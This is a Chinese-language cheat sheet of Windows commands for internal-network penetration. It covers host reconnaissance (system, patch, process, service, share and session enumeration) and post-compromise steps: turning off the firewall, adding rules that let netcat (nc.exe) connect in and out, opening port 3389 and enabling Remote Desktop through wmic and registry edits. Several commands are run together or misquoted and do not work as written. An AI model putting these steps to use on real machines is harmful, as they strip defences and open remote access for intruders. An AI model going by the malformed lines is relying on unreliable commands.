【内网渗透】内网信息收集命令汇总

ipconfig /all

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

echo %PROCESSOR_ARCHITECTURE%

wmic product get name,versionpowershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

wmic service list brief

wmic process list brieftasklist /v

wmic startup get command,caption

schtasks /query /fo LIST /v

net statistics workstation

net localgroup administrators

query user || qwinsta

net session

netstat –ano

systeminfowmic qfe get Caption,Description,HotFixID,InstalledOn   //  利用wmic识别安装在系统中的补丁情况

net sharewmic share get name,path,status   //  利用 wmic 查找共享

netsh firewall set opmode disable    //   Windows Server 2003 系统及之前版本netsh advfirewall set allprofiles state off    //   Windows Server 2003 之后系统版本

netsh firewall show config

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable   //  Windows Server 2003 系统及之前版本，允许指定程序全部连接Windows Server 2003 之后系统版本，情况如下。允许指定程序连入：netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"允许指定程序连出：netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"允许 3389 端口放行：netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f